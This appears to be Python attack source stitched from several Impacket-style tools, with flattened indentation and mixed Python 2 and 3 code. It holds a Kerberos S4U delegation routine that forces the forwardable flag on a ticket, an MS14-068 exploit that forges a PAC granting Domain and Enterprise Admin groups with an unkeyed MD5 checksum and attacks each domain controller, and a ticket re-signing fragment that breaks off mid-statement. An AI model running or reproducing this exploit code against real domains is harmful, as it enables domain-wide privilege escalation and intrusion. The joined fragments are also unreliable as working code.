logging.debug('\tService ticket from S4U2self is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Customize flags the forwardable flag is the only one that really matters
logging.info('\tForcing the service ticket to be forwardable')
# convert to string of bits
flagBits = encTicketPart['flags'].asBinary()
# Set the forwardable flag. Awkward binary string insertion
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
# Overwrite the value with the new bits
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
logging.debug('\tService ticket now is'
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
+ ' forwardable')
# Re-encode and re-encrypt the ticket
# Again, Key Usage 2
encodedEncTicketPart = encoder.encode(encTicketPart)
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
# put it back in the TGS
tgs['ticket']['enc-part']['cipher'] = cipherText
################################################################################
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
# So here I have a ST for me.. I now want a ST for another service
# Extract the ticket from the TGT
ticketTGT = Ticket()
ticketTGT.from_asn1(decodedTGT['ticket'])
# Get the service ticket
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
apReq['authenticator'] = noValue
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq = TGS_REQ()
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = noValue
tgsReq['padata'][0] = noValue
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
# Add resource-based constrained delegation support
paPacOptions = PA_PAC_OPTIONS()
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
tgsReq['padata'][1] = noValue
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
# This specified we're doing S4U
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
opts.append(constants.KDCOptions.canonicalize.value)
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
seq_set(reqBody, 'sname', service2.components_to_asn1)
reqBody['realm'] = self.__domain
myTicket = ticket.to_asn1(TicketAsn1())
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.getrandbits(31)
seq_set_iter(reqBody, 'etype',
(
int(constants.EncryptionTypes.rc4_hmac.value),
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
int(constants.EncryptionTypes.des_cbc_md5.value),
int(cipher.enctype)
)
)
message = encoder.encode(tgsReq)
logging.info('\tRequesting S4U2Proxy')
r = sendReceive(message, self.__domain, kdcHost)
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, cipherText)
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
# Creating new cipher based on received keytype
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
return r, cipher, sessionKey, newSessionKey
class MS14_068:
# 6.1. Unkeyed Checksums
# Vulnerable DCs are accepting at least these unkeyed checksum types
CRC_32 = 1
RSA_MD4 = 2
RSA_MD5 = 7
class VALIDATION_INFO(TypeSerialization1):
structure = (('Data', PKERB_VALIDATION_INFO), )
def __init__(self,
target,
targetIp=None,
username='',
password='',
domain='',
hashes=None,
command='',
copyFile=None,
writeTGT=None,
kdcHost=None):
self.__username = username
self.__password = password
self.__domain = domain
self.__rid = 0
self.__lmhash = ''
self.__nthash = ''
self.__target = target
self.__targetIp = targetIp
self.__kdcHost = None
self.__copyFile = copyFile
self.__command = command
self.__writeTGT = writeTGT
self.__domainSid = ''
self.__forestSid = None
self.__domainControllers = list()
self.__kdcHost = kdcHost
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
self.__lmhash = unhexlify(self.__lmhash)
self.__nthash = unhexlify(self.__nthash)
def getGoldenPAC(self, authTime):
# Ok.. we need to build a PAC_TYPE with the following items
# 1) KERB_VALIDATION_INFO
aTime = timegm(strptime(str(authTime), '%Y%m%d%H%M%SZ'))
unixTime = getFileTime(aTime)
kerbdata = KERB_VALIDATION_INFO()
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
# LogoffTime: A FILETIME structure that contains the time the client's logon
# session should expire. If the session should not expire, this structure
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
# an indicator of when to warn the user that the allowed time is due to expire.
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
# client should not be logged off, this structure SHOULD have the dwHighDateTime
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
# The Kerberos service ticket end time is a replacement for KickOffTime.
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
# of when the client should be forcibly disconnected.
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['PasswordLastSet']['dwLowDateTime'] = 0
kerbdata['PasswordLastSet']['dwHighDateTime'] = 0
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
# PasswordMustChange: A FILETIME structure that contains the time at which
# theclient's password expires. If the password will not expire, this
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
# dwLowDateTime member set to 0xFFFFFFFF.
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
kerbdata['EffectiveName'] = self.__username
kerbdata['FullName'] = ''
kerbdata['LogonScript'] = ''
kerbdata['ProfilePath'] = ''
kerbdata['HomeDirectory'] = ''
kerbdata['HomeDirectoryDrive'] = ''
kerbdata['LogonCount'] = 0
kerbdata['BadPasswordCount'] = 0
kerbdata['UserId'] = self.__rid
kerbdata['PrimaryGroupId'] = 513
# Our Golden Well-known groups! :)
groups = (513, 512, 520, 518, 519)
kerbdata['GroupCount'] = len(groups)
for group in groups:
groupMembership = GROUP_MEMBERSHIP()
groupId = NDRULONG()
groupId['Data'] = group
groupMembership['RelativeId'] = groupId
groupMembership[
'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['GroupIds'].append(groupMembership)
kerbdata['UserFlags'] = 0
kerbdata[
'UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata['LogonServer'] = ''
kerbdata['LogonDomainName'] = self.__domain
kerbdata['LogonDomainId'] = self.__domainSid
kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00'
kerbdata[
'UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
kerbdata['SubAuthStatus'] = 0
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
kerbdata['FailedILogonCount'] = 0
kerbdata['Reserved3'] = 0
# AUTHENTICATION_AUTHORITY_ASSERTED_IDENTITY: A SID that means the client's identity is
# asserted by an authentication authority based on proof of possession of client credentials.
#extraSids = ('S-1-18-1',)
if self.__forestSid is not None:
extraSids = ('%s-%s' % (self.__forestSid, '519'), )
kerbdata['SidCount'] = len(extraSids)
kerbdata['UserFlags'] |= 0x20
else:
extraSids = ()
kerbdata['SidCount'] = len(extraSids)
for extraSid in extraSids:
sidRecord = KERB_SID_AND_ATTRIBUTES()
sid = RPC_SID()
sid.fromCanonical(extraSid)
sidRecord['Sid'] = sid
sidRecord[
'Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
kerbdata['ExtraSids'].append(sidRecord)
kerbdata['ResourceGroupDomainSid'] = NULL
kerbdata['ResourceGroupCount'] = 0
kerbdata['ResourceGroupIds'] = NULL
validationInfo = self.VALIDATION_INFO()
validationInfo['Data'] = kerbdata
if logging.getLogger().level == logging.DEBUG:
logging.debug('VALIDATION_INFO')
validationInfo.dump()
print('\n')
validationInfoBlob = validationInfo.getData(
) + validationInfo.getDataReferents()
validationInfoAlignment = '\x00' * ((
(len(validationInfoBlob) + 7) / 8 * 8) - len(validationInfoBlob))
# 2) PAC_CLIENT_INFO
pacClientInfo = PAC_CLIENT_INFO()
pacClientInfo['ClientId'] = unixTime
try:
name = self.__username.encode('utf-16le')
except UnicodeDecodeError:
import sys
name = self.__username.decode(
sys.getfilesystemencoding()).encode('utf-16le')
pacClientInfo['NameLength'] = len(name)
pacClientInfo['Name'] = name
pacClientInfoBlob = str(pacClientInfo)
pacClientInfoAlignment = '\x00' * ((
(len(pacClientInfoBlob) + 7) / 8 * 8) - len(pacClientInfoBlob))
# 3) PAC_SERVER_CHECKSUM/PAC_SIGNATURE_DATA
serverChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#serverChecksum['SignatureType'] = self.CRC_32
#serverChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#serverChecksum['SignatureType'] = self.RSA_MD4
#serverChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
serverChecksum['SignatureType'] = self.RSA_MD5
serverChecksum['Signature'] = '\x00' * 16
serverChecksumBlob = str(serverChecksum)
serverChecksumAlignment = '\x00' * ((
(len(serverChecksumBlob) + 7) / 8 * 8) - len(serverChecksumBlob))
# 4) PAC_PRIVSVR_CHECKSUM/PAC_SIGNATURE_DATA
privSvrChecksum = PAC_SIGNATURE_DATA()
# If you wanna do CRC32, uncomment this
#privSvrChecksum['SignatureType'] = self.CRC_32
#privSvrChecksum['Signature'] = '\x00'*4
# If you wanna do MD4, uncomment this
#privSvrChecksum['SignatureType'] = self.RSA_MD4
#privSvrChecksum['Signature'] = '\x00'*16
# If you wanna do MD5, uncomment this
privSvrChecksum['SignatureType'] = self.RSA_MD5
privSvrChecksum['Signature'] = '\x00' * 16
privSvrChecksumBlob = str(privSvrChecksum)
privSvrChecksumAlignment = '\x00' * ((
(len(privSvrChecksumBlob) + 7) / 8 * 8) - len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(str(PAC_INFO_BUFFER())) * 4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData + validationInfoIB['cbBufferSize'] +
7) / 8 * 8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] + 7) / 8 * 8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] +
7) / 8 * 8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
#offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) /8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = str(validationInfoIB) + str(pacClientInfoIB) + str(
serverChecksumIB) + str(
privSvrChecksumIB
) + validationInfoBlob + validationInfoAlignment + str(
pacClientInfo) + pacClientInfoAlignment
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(
privSvrChecksum) + privSvrChecksumAlignment
pacType = PACTYPE()
pacType['cBuffers'] = 4
pacType['Version'] = 0
pacType['Buffers'] = buffers + buffersTail
blobToChecksum = str(pacType)
# If you want to do CRC-32, ucomment this
#serverChecksum['Signature'] = struct.pack('<L', (binascii.crc32(blobToChecksum, 0xffffffff) ^ 0xffffffff) & 0xffffffff)
#privSvrChecksum['Signature'] = struct.pack('<L', (binascii.crc32(serverChecksum['Signature'], 0xffffffff) ^ 0xffffffff) & 0xffffffff)
# If you want to do MD4, ucomment this
#serverChecksum['Signature'] = MD4.new(blobToChecksum).digest()
#privSvrChecksum['Signature'] = MD4.new(serverChecksum['Signature']).digest()
# If you want to do MD5, ucomment this
serverChecksum['Signature'] = MD5.new(blobToChecksum).digest()
privSvrChecksum['Signature'] = MD5.new(
serverChecksum['Signature']).digest()
buffersTail = str(serverChecksum) + serverChecksumAlignment + str(
privSvrChecksum) + privSvrChecksumAlignment
pacType['Buffers'] = buffers + buffersTail
authorizationData = AuthorizationData()
authorizationData[0] = None
authorizationData[0]['ad-type'] = int(
constants.AuthorizationDataType.AD_WIN2K_PAC.value)
authorizationData[0]['ad-data'] = str(pacType)
return encoder.encode(authorizationData)
def getKerberosTGS(self, serverName, domain, kdcHost, tgt, cipher,
sessionKey, authTime):
# Get out Golden PAC
goldenPAC = self.getGoldenPAC(authTime)
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# Extract the ticket from the TGT
ticket = Ticket()
ticket.from_asn1(decodedTGT['ticket'])
# Now put the goldenPac inside the AuthorizationData AD_IF_RELEVANT
ifRelevant = AD_IF_RELEVANT()
ifRelevant[0] = None
ifRelevant[0]['ad-type'] = int(
constants.AuthorizationDataType.AD_IF_RELEVANT.value)
ifRelevant[0]['ad-data'] = goldenPAC
encodedIfRelevant = encoder.encode(ifRelevant)
# Key Usage 4
# TGS-REQ KDC-REQ-BODY AuthorizationData, encrypted with
# the TGS session key (Section 5.4.1)
encryptedEncodedIfRelevant = cipher.encrypt(sessionKey, 4,
encodedIfRelevant, None)
tgsReq = TGS_REQ()
reqBody = seq_set(tgsReq, 'req-body')
opts = list()
opts.append(constants.KDCOptions.forwardable.value)
opts.append(constants.KDCOptions.renewable.value)
opts.append(constants.KDCOptions.proxiable.value)
reqBody['kdc-options'] = constants.encodeFlags(opts)
seq_set(reqBody, 'sname', serverName.components_to_asn1)
reqBody['realm'] = str(decodedTGT['crealm'])
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
reqBody['till'] = KerberosTime.to_asn1(now)
reqBody['nonce'] = random.SystemRandom().getrandbits(31)
seq_set_iter(reqBody, 'etype', (cipher.enctype, ))
reqBody['enc-authorization-data'] = None
reqBody['enc-authorization-data']['etype'] = int(cipher.enctype)
reqBody['enc-authorization-data'][
'cipher'] = encryptedEncodedIfRelevant
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = str(decodedTGT['crealm'])
clientName = Principal()
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
seq_set(authenticator, 'cname', clientName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 7
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
# TGS authenticator subkey), encrypted with the TGS session
# key (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7,
encodedAuthenticator,
None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
encodedApReq = encoder.encode(apReq)
tgsReq['pvno'] = 5
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
tgsReq['padata'] = None
tgsReq['padata'][0] = None
tgsReq['padata'][0]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
tgsReq['padata'][0]['padata-value'] = encodedApReq
pacRequest = KERB_PA_PAC_REQUEST()
pacRequest['include-pac'] = False
encodedPacRequest = encoder.encode(pacRequest)
tgsReq['padata'][1] = None
tgsReq['padata'][1]['padata-type'] = int(
constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
tgsReq['padata'][1]['padata-value'] = encodedPacRequest
message = encoder.encode(tgsReq)
r = sendReceive(message, domain, kdcHost)
# Get the session key
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
cipherText = tgs['enc-part']['cipher']
# Key Usage 8
# TGS-REP encrypted part (includes application session
# key), encrypted with the TGS session key (Section 5.4.2)
plainText = cipher.decrypt(sessionKey, 8, str(cipherText))
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
newSessionKey = Key(cipher.enctype,
str(encTGSRepPart['key']['keyvalue']))
return r, cipher, sessionKey, newSessionKey
def getForestSid(self):
logging.debug('Calling NRPC DsrGetDcNameEx()')
stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_NRPC)
resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
forestName = resp['DomainControllerInfo']['DnsForestName'][:-1]
logging.debug('DNS Forest name is %s' % forestName)
dce.disconnect()
logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')
stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(MSRPC_UUID_LSAT)
resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
policyHandle = resp['PolicyHandle']
resp = hLsarQueryInformationPolicy2(
dce, policyHandle,
POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
dce.disconnect()
forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo'][
'DomainSid'].formatCanonical()
logging.info("Forest SID: %s" % forestSid)
return forestSid
def getDomainControllers(self):
logging.debug('Calling DRSDomainControllerInfo()')
stringBinding = epm.hept_map(self.__domain,
MSRPC_UUID_DRSUAPI,
protocol='ncacn_ip_tcp')
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
dce.connect()
dce.bind(MSRPC_UUID_DRSUAPI)
request = DRSBind()
request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID
drs = DRS_EXTENSIONS_INT()
drs['cb'] = len(drs) #- 4
drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION
drs['SiteObjGuid'] = NULLGUID
drs['Pid'] = 0
drs['dwReplEpoch'] = 0
drs['dwFlagsExt'] = 0
drs['ConfigObjGUID'] = NULLGUID
drs['dwExtCaps'] = 127
request['pextClient']['cb'] = len(drs)
request['pextClient']['rgb'] = list(str(drs))
resp = dce.request(request)
dcs = hDRSDomainControllerInfo(dce, resp['phDrs'], self.__domain, 1)
dce.disconnect()
domainControllers = list()
for dc in dcs['pmsgOut']['V1']['rItems']:
logging.debug('Found domain controller %s' %
dc['DnsHostName'][:-1])
domainControllers.append(dc['DnsHostName'][:-1])
return domainControllers
def getUserSID(self):
stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost
rpctransport = transport.DCERPCTransportFactory(stringBinding)
if hasattr(rpctransport, 'set_credentials'):
rpctransport.set_credentials(self.__username, self.__password,
self.__domain, self.__lmhash,
self.__nthash)
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
resp = samr.hSamrConnect(dce)
serverHandle = resp['ServerHandle']
resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle,
self.__domain)
domainId = resp['DomainId']
resp = samr.hSamrOpenDomain(dce, serverHandle, domainId=domainId)
domainHandle = resp['DomainHandle']
resp = samr.hSamrLookupNamesInDomain(dce, domainHandle,
(self.__username, ))
# Let's pick the relative ID
rid = resp['RelativeIds']['Element'][0]['Data']
logging.info("User SID: %s-%s" % (domainId.formatCanonical(), rid))
return domainId, rid
def exploit(self):
if self.__kdcHost is None:
getDCs = True
self.__kdcHost = self.__domain
else:
getDCs = False
self.__domainSid, self.__rid = self.getUserSID()
try:
self.__forestSid = self.getForestSid()
except Exception, e:
# For some reason we couldn't get the forest data. No problem, we can still continue
# Only drawback is we won't get forest admin if successful
logging.error('Couldn\'t get forest info (%s), continuing' %
str(e))
self.__forestSid = None
if getDCs is False:
# User specified a DC already, no need to get the list
self.__domainControllers.append(self.__kdcHost)
else:
self.__domainControllers = self.getDomainControllers()
userName = Principal(
self.__username,
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
for dc in self.__domainControllers:
logging.info('Attacking domain controller %s' % dc)
self.__kdcHost = dc
exception = None
while True:
try:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
userName,
self.__password,
self.__domain,
self.__lmhash,
self.__nthash,
None,
self.__kdcHost,
requestPAC=False)
except KerberosError, e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
continue
else:
exception = str(e)
break
else:
exception = str(e)
break
# So, we have the TGT, now extract the new session key and finish
asRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
# If the cypher in use != RC4 there's gotta be a salt for us to use
salt = ''
if asRep['padata']:
for pa in asRep['padata']:
if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
etype2 = decoder.decode(
str(pa['padata-value'])[2:],
asn1Spec=ETYPE_INFO2_ENTRY())[0]
salt = str(etype2['salt'])
cipherText = asRep['enc-part']['cipher']
# Key Usage 3
# AS-REP encrypted part (includes TGS session key or
# application session key), encrypted with the client key
# (Section 5.4.2)
if self.__nthash != '':
key = Key(cipher.enctype, self.__nthash)
else:
key = cipher.string_to_key(self.__password, salt, None)
plainText = cipher.decrypt(key, 3, str(cipherText))
encASRepPart = decoder.decode(plainText,
asn1Spec=EncASRepPart())[0]
authTime = encASRepPart['authtime']
serverName = Principal(
'krbtgt/%s' % self.__domain.upper(),
type=constants.PrincipalNameType.NT_PRINCIPAL.value)
tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(
serverName, domain, self.__kdcHost, tgt, cipher,
sessionKey, authTime)
# We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
serverName = Principal(
'cifs/%s' % self.__target,
type=constants.PrincipalNameType.NT_SRV_INST.value)
try:
tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(
serverName, domain, self.__kdcHost, tgs, cipher,
sessionKey)
except KerberosError, e:
if e.getErrorCode(
) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
# We might face this if the target does not support AES (most probably
# Windows XP). So, if that's the case we'll force using RC4 by converting
# the password to lm/nt hashes and hope for the best. If that's already
# done, byebye.
if self.__lmhash is '' and self.__nthash is '':
from impacket.ntlm import compute_lmhash, compute_nthash
self.__lmhash = compute_lmhash(self.__password)
self.__nthash = compute_nthash(self.__password)
else:
exception = str(e)
break
else:
exception = str(e)
break
else:
# Everything went well, let's save the ticket if asked and leave
if self.__writeTGT is not None:
from impacket.krb5.ccache import CCache
ccache = CCache()
ccache.fromTGS(tgs, oldSessionKey, sessionKey)
ccache.saveFile(self.__writeTGT)
break
def signEncryptTicket(self, kdcRep, encASorTGSRepPart, encTicketPart,
pacInfos):
logging.info('Signing/Encrypting final ticket')
# We changed everything we needed to make us special. Now let's repack and calculate checksums
validationInfoBlob = pacInfos[PAC_LOGON_INFO]
validationInfoAlignment = b'\x00' * ((
(len(validationInfoBlob) + 7) // 8 * 8) - len(validationInfoBlob))
pacClientInfoBlob = pacInfos[PAC_CLIENT_INFO_TYPE]
pacClientInfoAlignment = b'\x00' * ((
(len(pacClientInfoBlob) + 7) // 8 * 8) - len(pacClientInfoBlob))
serverChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_SERVER_CHECKSUM])
serverChecksumBlob = pacInfos[PAC_SERVER_CHECKSUM]
serverChecksumAlignment = b'\x00' * ((
(len(serverChecksumBlob) + 7) // 8 * 8) - len(serverChecksumBlob))
privSvrChecksum = PAC_SIGNATURE_DATA(pacInfos[PAC_PRIVSVR_CHECKSUM])
privSvrChecksumBlob = pacInfos[PAC_PRIVSVR_CHECKSUM]
privSvrChecksumAlignment = b'\x00' * ((
(len(privSvrChecksumBlob) + 7) // 8 * 8) -
len(privSvrChecksumBlob))
# The offset are set from the beginning of the PAC_TYPE
# [MS-PAC] 2.4 PAC_INFO_BUFFER
offsetData = 8 + len(PAC_INFO_BUFFER().getData()) * 4
# Let's build the PAC_INFO_BUFFER for each one of the elements
validationInfoIB = PAC_INFO_BUFFER()
validationInfoIB['ulType'] = PAC_LOGON_INFO
validationInfoIB['cbBufferSize'] = len(validationInfoBlob)
validationInfoIB['Offset'] = offsetData
offsetData = (offsetData + validationInfoIB['cbBufferSize'] +
7) // 8 * 8
pacClientInfoIB = PAC_INFO_BUFFER()
pacClientInfoIB['ulType'] = PAC_CLIENT_INFO_TYPE
pacClientInfoIB['cbBufferSize'] = len(pacClientInfoBlob)
pacClientInfoIB['Offset'] = offsetData
offsetData = (offsetData + pacClientInfoIB['cbBufferSize'] +
7) // 8 * 8
serverChecksumIB = PAC_INFO_BUFFER()
serverChecksumIB['ulType'] = PAC_SERVER_CHECKSUM
serverChecksumIB['cbBufferSize'] = len(serverChecksumBlob)
serverChecksumIB['Offset'] = offsetData
offsetData = (offsetData + serverChecksumIB['cbBufferSize'] +
7) // 8 * 8
privSvrChecksumIB = PAC_INFO_BUFFER()
privSvrChecksumIB['ulType'] = PAC_PRIVSVR_CHECKSUM
privSvrChecksumIB['cbBufferSize'] = len(privSvrChecksumBlob)
privSvrChecksumIB['Offset'] = offsetData
# offsetData = (offsetData+privSvrChecksumIB['cbBufferSize'] + 7) //8 *8
# Building the PAC_TYPE as specified in [MS-PAC]
buffers = validationInfoIB.getData() + pacClientInfoIB.getData() + serverChecksumIB.getData() + \
privSvrChecksumIB.getData() + validationInfoBlob + validationInfoAlignment + \
